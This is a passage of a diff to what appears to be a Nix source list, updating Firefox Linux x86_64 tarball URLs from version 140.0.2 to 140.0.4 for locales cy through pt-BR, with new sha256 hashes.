-      sha256 = "e24c51758acba74028dcb3eed2b09d622c5d5b9ad8ca1eaf7c66fcf9ab435558";
+      sha256 = "3268be2e344b28b4b29eb1e72cf998c08c03a4ec09b291c492c91e7ddd8ce527";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/cy/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/cy/firefox-140.0.4.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "8f9fda9a85a8bf1e33b78a6e41933668503b48a916cab51898302abe57fe1405";
+      sha256 = "ea30df26b853d0ac57d3e180469b31e8ab1ca9b2715159126254920934a553c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/da/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/da/firefox-140.0.4.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "fb3963cc112476ae647891d0b7e7d2d6c126d2a608fc91256bcabe685b3c6341";
+      sha256 = "1ab11a3de9e956f9409b0bb1bd63e93bca452dfee9af08b6146a48aec05360ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/de/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/de/firefox-140.0.4.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "165b4935290667d625e3083faa737ac9bef173e7c8d3811226ec9249e9bef3b0";
+      sha256 = "41238ec3f71f94994a5b4e0f8f853f37e118b525c236184f8252e5a8f3fd5fb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/dsb/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/dsb/firefox-140.0.4.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "af8eb29899fb648dad7c5089371351241a58644879a8973a8c9a96c114c23d5f";
+      sha256 = "9bc216214d2b946e1b6fd299650e7694936d40e8c42d1af495846846034b4e42";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/el/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/el/firefox-140.0.4.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "68a52eee4300145740575fadc8e0c82858ea7f7e021381e8467f72cfc80377a3";
+      sha256 = "eaf89ac946296670fdd03ff1a04b4e31415cf5a3aeea74136abe060aed5c1174";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/en-CA/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/en-CA/firefox-140.0.4.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "50896768c02b17501256c3289a346ed5d7874332dcf14e14390c2e6d20ce3357";
+      sha256 = "f3fc43e9a3cd80217021d16158f5a8788d0e79312b2d04f6506ef7b959be8f75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/en-GB/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/en-GB/firefox-140.0.4.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "a56a4df541984469906050eaa1a2585bb4b31db183f452bf8f57f78e13026757";
+      sha256 = "c0ad885a06a9c3544d26342ce750c8f77833af7bb07b58056b3766d8b39f9121";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/en-US/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/en-US/firefox-140.0.4.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "0de987e3065409d7feeba28e8b9c59c8270b917a293c140a5423579c7e70f8ce";
+      sha256 = "63e0033e6f4dd0576074de3cf1f70feec43359f923ed9055e554cf84b13856f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/eo/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/eo/firefox-140.0.4.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "bc8515c4d88f75fa9241af9e21cf6748eec8859401dda872aa7f14993433a0d6";
+      sha256 = "9ba6978b7b93067906632f5ff5cc5176dcfa822b328bef47aeda12a2b80b772e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/es-AR/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/es-AR/firefox-140.0.4.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "dcb01e7b7071b9d29fc81205b5cd8c11d7c6802186e77aa656e0dfe3491523cc";
+      sha256 = "5f18c84a33a752113b605b7aa1190f861266d112bbd3bf11a02e398374f21793";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/es-CL/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/es-CL/firefox-140.0.4.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "d3918ab7c29edf8c61a4c69a863e1330f7e51039bd8a96038ad0d65db73f7d07";
+      sha256 = "3e50bdee8ba84836a5e473e7ae16a10a77c72ea00313ef747d481e456509d5cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/es-ES/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/es-ES/firefox-140.0.4.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "999de873f455860c8912e18401347f4156f91b0da3779122eee98473af400c9d";
+      sha256 = "c968ee5478d2d0d19345e3b2589c4ab59b920ea8d7362c9568894b01844b53ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/es-MX/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/es-MX/firefox-140.0.4.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "e4a0bcfbaecb78b99eb8f9c651b536b1db2189268e218c32408fd9db7dee7e93";
+      sha256 = "4b5cb4200ce1b0d03fa64c6548ac890ad728ba48f820cc57b646851a2b799906";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/et/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/et/firefox-140.0.4.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "3f48c7f1c94fcb7186a50ac344adf55ae3fc5b4e9538fc3c3a5bcc79794e6ea3";
+      sha256 = "cbc37f1164ae18c166304847ddaf77a2f41f80cfacffc621dd83ce49f58b396f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/eu/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/eu/firefox-140.0.4.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "8d0390f0d5daba9a5a94d2b6a617cfd779c4a94141a14772e9424fb1c50b42f8";
+      sha256 = "391084c38de7ec752b0127a2e094000428a1e14695be863ce9974a93bac68ca3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fa/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fa/firefox-140.0.4.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "368331431ed1825a3351889e7b9c50a9e22009f5d2310e787d15ea84e98d707a";
+      sha256 = "d4748949656408593c2a1b50cde8aaf793bc72949839757e0c876fd41103fbf6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ff/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ff/firefox-140.0.4.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "4984d768f622c23bd8f8daacdf5ccccd0b5e1bf02056df24e77d1a4c31e88ffd";
+      sha256 = "6936546f2b1ec30628566448d7ee1899bb2421aba7fe6216cffb188d1b37db30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fi/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fi/firefox-140.0.4.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "3fc303b3c69d6d1f6e359aef31fc045c477318533a2c468dfc35b675d545b54c";
+      sha256 = "b5fc0520a281b904effb0934de09d5aa181fe7e1e69097e5a210f171441cf8e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fr/firefox-140.0.4.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "61f78b729cfab9c0de14946c9f9d792efcedf410efd771651ff819f6fe233903";
+      sha256 = "b09ae010df4e4532e8352b53d1e912063a7212d32a98b7c57d6b65ae8f69d2cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fur/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fur/firefox-140.0.4.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "2fa4e5b3dc3d402ffcce9eb0d39ec96fd15ad17534a61d8d8ebb54454cf637a3";
+      sha256 = "d22129ecdd21d576196314138c1ea95a3586e32597dfd7ec10ac521b1051f342";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fy-NL/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fy-NL/firefox-140.0.4.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "7c67c4eb2f2c1f7c2740a196036ebdd223e8ecf3502c36bd530383915bc9bc6a";
+      sha256 = "af31dd2af4fe4b189028c950a18aafb0c1c3929584c010eb7fbfd265f4d070ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ga-IE/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ga-IE/firefox-140.0.4.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "05b8aa663b4a42732af808270b473cacd331d3dc9bf62c6db2b58d0353cda961";
+      sha256 = "af7fec204caac40b39d53c32d4998e8d79d63852c20c814d452bff7242c3a203";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/gd/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/gd/firefox-140.0.4.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "1d5242d61ecf20c9808099be96fbc3f519afef972396f78d27bb95e13cea0563";
+      sha256 = "39557be86366b4af33ceba02999817cd9c924b71fa53c8ce8c5978db46540c03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/gl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/gl/firefox-140.0.4.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "62238f570bd7b6d04334042655a77e6e3f50e49f68a670d6a6de72239f2d13c4";
+      sha256 = "641d663a98e9cfb2d73851cd43690e5ba6558eb9a53293d82bc56317f13d304b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/gn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/gn/firefox-140.0.4.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "72837ce7a4fa32d66574b08a62789d950f142c7dd4dc64e77c5fe1b4a1440e0c";
+      sha256 = "b31eae5285175df269e309669f7b388d5e0a6ba638bfeda93055332b50de7239";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/gu-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/gu-IN/firefox-140.0.4.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "437068e0a89843392e7fca35b7fd4bcd0fcf1cf4349773b96dac837b2fc444f6";
+      sha256 = "4005c93cc405fd87d657e48fe5d1fd4465138672fde4c99f52b473d6c0610c91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/he/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/he/firefox-140.0.4.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "e9e92af20871a0a54eb92b6cbf497e70e5c46aadbd1c7ce311f298cd712d1951";
+      sha256 = "c8be882c46896913f393dfa087aae2234a658aedd1fd40b95e6929fef4a09d89";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hi-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hi-IN/firefox-140.0.4.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "f2ca0ea65c92a60cf48c9edf573567ef42a74f11a48f75211d3ee08f20782107";
+      sha256 = "9635a5904731ff04829de5fe78006643bf95e66ced31cf408a391c840529ec57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hr/firefox-140.0.4.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "31fa2fdd19478e38104916d30cb6979413730e15e05e67c848b883296eecbbf6";
+      sha256 = "fbb0266b9d44fa95ce0d836828c652931b95fb0788fc34677627f2f65154f0f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hsb/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hsb/firefox-140.0.4.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "d0c53d3b6f50f82d937ae1ebc136988e52b8d4fe4c1a856a270bead227e18168";
+      sha256 = "67b867edf6f8755462e6655a924ad814f2dec6773fb9f16a8fe7a2e99f5e162f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hu/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hu/firefox-140.0.4.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "d1a398d8f68b2802a23ecedc7b13af9ab15a95e29bdcce67b0faa5ddd74a23f3";
+      sha256 = "b2e5d9572e5c4a432b8724da8d93b1b2fc380aa17edb1bbc8e9404fc7aceb3fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hy-AM/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hy-AM/firefox-140.0.4.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "ed7d7d3b3afda6713a43616f3bb557109bf111c87000a28883498fab5fc97fe8";
+      sha256 = "2275107b5ce36130de9ed6a017b3eba161094d6d82795e14ec94f49c219e28e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ia/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ia/firefox-140.0.4.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "8d6d4b5bd8a58f09a116d4660cf8c11581dde9eaa3bbfba629dd75680802136f";
+      sha256 = "1e8da9c5524c7f110747be29b8d5dd0cf9dde3e688b69dc01b4f2ab9128ad998";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/id/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/id/firefox-140.0.4.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "ae6a44bba8aaf3c90ec7f2c1349e3a0d3dc40d71032f9cdd1766b88cb76c519b";
+      sha256 = "003534b48392817c8086008ece34ebc3841e46cfe542b2fcae85fa53f4e23328";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/is/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/is/firefox-140.0.4.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "1e3b8183d4a05f5046b5c3ee88a0d9b10c13a1abcb222d160674f2dc5a8ee644";
+      sha256 = "b4721a060e43541462752c7d32afd68dbbd31acc2b5a6ecf80a266e7e96f25ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/it/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/it/firefox-140.0.4.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "fb0037c8da022dbb4d850fbc8115e69e18b5d3abbadb00d99c175b752ea62e2a";
+      sha256 = "aacda149720a3b218a7bbc7e5f9b79f9b90f12a1c0e11d9c3cdc6ba73bdf4e1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ja/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ja/firefox-140.0.4.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "0ff7873a842ee5ffb9199cdd8960c9e8e8139eb870c1d6eaeb08b93180ab3e7a";
+      sha256 = "4c3e0e5d946447466a14f65c94f27c11e5fb20b948da4d580ea069909b9babd5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ka/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ka/firefox-140.0.4.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "da87492318002a32f7be7dd0a79c9eb1ce2089ba87dc09768170b9ad8386cc7a";
+      sha256 = "58c5ba63cceaa864645f015148305b73dcc68ee15d30f65c38fd4a8c731f87e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/kab/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/kab/firefox-140.0.4.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "55a193ba40f44363456cb58fbbc4ffcb84c81249e793c9d3b9fb6ceaadc1c206";
+      sha256 = "8759cb4d63917b1a767eeef65fcedb63d56e5abaaa6fde80ceed66eac5daa76d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/kk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/kk/firefox-140.0.4.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "c84f5ab5051392f785946cc207ff44f3e76a4869de9867de69100ced2f293e05";
+      sha256 = "6f3d8d0872fad6b6d99842ed558e4585c55928d46abbadb8a5b9ecad41d98147";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/km/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/km/firefox-140.0.4.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "8d0430da0846291063e5e76a86ce1e5ce4badd15a29af532ee9093bc24c5e7c6";
+      sha256 = "599233b9a4a4e0d8bbb303df932830f5f48f05e6e8f6abc6a613b9cb65a3a08a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/kn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/kn/firefox-140.0.4.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "a02a1353ae9d415819f8084a5909fe5dbedffac3e163a2d618b78b84b1eb0f17";
+      sha256 = "0fedef33ccdf32bb7d402ac10068c4710473acfc35daa75f0027364c61f37993";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ko/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ko/firefox-140.0.4.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "06e8914c37157eeaaf0e4ce0500965cd3f5c638b0f6a5dc6c5ecf176e8c0c1af";
+      sha256 = "afbe28ce7f201e9ff3910ea66780c9422ea8c2d6f86914fd35d3e12016039199";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/lij/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/lij/firefox-140.0.4.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "392a45592535eb509aaffc3d1d34462e3a716d4c76763b5432676fb168e1a719";
+      sha256 = "07b0ea91c23c6925bfa9ae4fb8778feaaaa9ed0b1dcab8f401fe438fb97440f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/lt/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/lt/firefox-140.0.4.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "8e3d915a0ab0e373ee992112d0dfa360ab8434d3e285097629fbf341a58aa156";
+      sha256 = "9baa71d8a7c20aca54c421b0aa89d7a5ccd47d81ae330b62f47d80645fbccc7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/lv/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/lv/firefox-140.0.4.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "041e89dce80beea445dd202466cd901e3ea756e09c88fdad9b8b5dea1fd22651";
+      sha256 = "09e19b4cbafa4eed3389bfb4d963ee336f20e1e7013d73302f6735fba0c83762";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/mk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/mk/firefox-140.0.4.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "3ab3afc5e292cd3cfa034944904ea040bde8ae800ac31a325ba8a29fd2e6f02d";
+      sha256 = "8863e0afc27e29630604ab9d5d46119233dc6dc1acdaa0411ddf546e51f25a90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/mr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/mr/firefox-140.0.4.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "e86a79c31c80a6807a7efa0f5ac5e8ec83a205395049b8f71acd24f86e07bf30";
+      sha256 = "f89cf49dd5a8119987c9824af141a610fafd35ecdad63efdda4566ef881b779e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ms/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ms/firefox-140.0.4.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "7bdcd7a59746930d8af534593e9cffa6b4ea7aa9c9f55e588a9b36848e16f9de";
+      sha256 = "16034026fa470345bda32ab6cf77855ad181a46450605c2f3a3da7b3e8459141";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/my/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/my/firefox-140.0.4.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "9a02d4654aea0a331254fae34ce63d19d32d776b8e7dd878ee739dc1269a288f";
+      sha256 = "80b62b63f5b85034ad85c08427e8b57d8ad7006c39398f1d53d5c1d371d52f58";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/nb-NO/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/nb-NO/firefox-140.0.4.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "56e556cf8febe6c07430845e42b830034a23bb4495e009446e44c4c589d1e49b";
+      sha256 = "822b4d14e399be6be9a7138eef6c3d4196df57c1af1bf397e57ceaf255f5005d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ne-NP/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ne-NP/firefox-140.0.4.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "fb30955d8124f7ac413520f977e4523aacaf68f6131a15a51681f3feec37c7db";
+      sha256 = "9835c9fcee863a72f405342b3b9e5ca8221640999f676071208b92e4f55a431b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/nl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/nl/firefox-140.0.4.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "e0c0a9fb70336038f1d69a63f7c76a4838b91799f474b98b4fbed33de37e676e";
+      sha256 = "321eabfeca0d23d1ca52f11f2385951ab493cf37e6fa0f2910c614b9cea50c5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/nn-NO/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/nn-NO/firefox-140.0.4.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "46cfd0576574902b949f4c8da49db68ef3c76020a11411609a40a82399e98f52";
+      sha256 = "b6d189494b498693635c773fb5508add490766a8e84a3434174aeb806fcae122";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/oc/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/oc/firefox-140.0.4.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "94b5918783376bd741fb383ce3bb8a311fd98d433ebfd147854283102bfd2f7d";
+      sha256 = "5e4c3b578f7be36ba60f0bea160384c3d51c975a78509e978229116409a0c2dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/pa-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/pa-IN/firefox-140.0.4.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "ed8bf829691da467f7826b4f94ca339908d75f9f5900006a8339591693e7356b";
+      sha256 = "9a2db5dda0332d2bc15319a2bd9827fe631b55e309874683c013f467e241560c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/pl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/pl/firefox-140.0.4.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "66e1410b13b95d86534122db96706822ecbc8fcaf0f58630289f732673963b61";
+      sha256 = "d1d2e2e5280de06eb8e5c4a5003427bd022a1fd75de781d9f1102a493f489728";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/pt-BR/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/pt-BR/firefox-140.0.4.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "d740579183cc64d4c295602730ab8a3c766774871a82c840498a30528db13183";
+      sha256 = "98b35b1f41e66e81bce4d73389537d5f65a62b26a541d11d7a777173ff80ace1";
     }
     {
